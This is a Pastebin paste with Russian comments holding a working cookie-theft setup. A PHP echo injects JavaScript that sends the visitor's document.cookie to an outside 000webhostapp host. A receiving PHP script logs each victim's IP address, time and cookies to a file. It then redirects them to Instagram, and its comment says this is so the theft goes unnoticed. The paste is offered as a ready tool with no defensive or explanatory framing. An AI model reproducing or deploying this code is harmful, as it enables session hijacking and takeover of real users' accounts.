Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Так вызываю жс код с пхп скрипта
- echo '<script type="text/javascript"> window.location.href = "https://mysqlandroid-test.000webhostapp.com/next/index.php?cookie="+document.cookie; </script>';
- // Сам скрипт
- <?php
- //получаем данные с ссылки
- $cookie = $_SERVER['REQUEST_URI'];
- //ip адрес
- $ip = $_SERVER['REMOTE_ADDR'];
- //Создаём файл
- $file = fopen("snif.dat","a+");
- //вычисляем текущее время
- $time = date("H:i:M:d");
- //добавляем в строковую переменную куки + время + ip
- $add_text = "$ip $time $cookie";
- //записываем данные в файл
- fputs($file,$add_text.",\r\n");
- //закрываем файл
- fclose($file);
- //что бы не спалили переносим пользователя обратно в инсту
- header('Location:https://www.instagram.com');
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement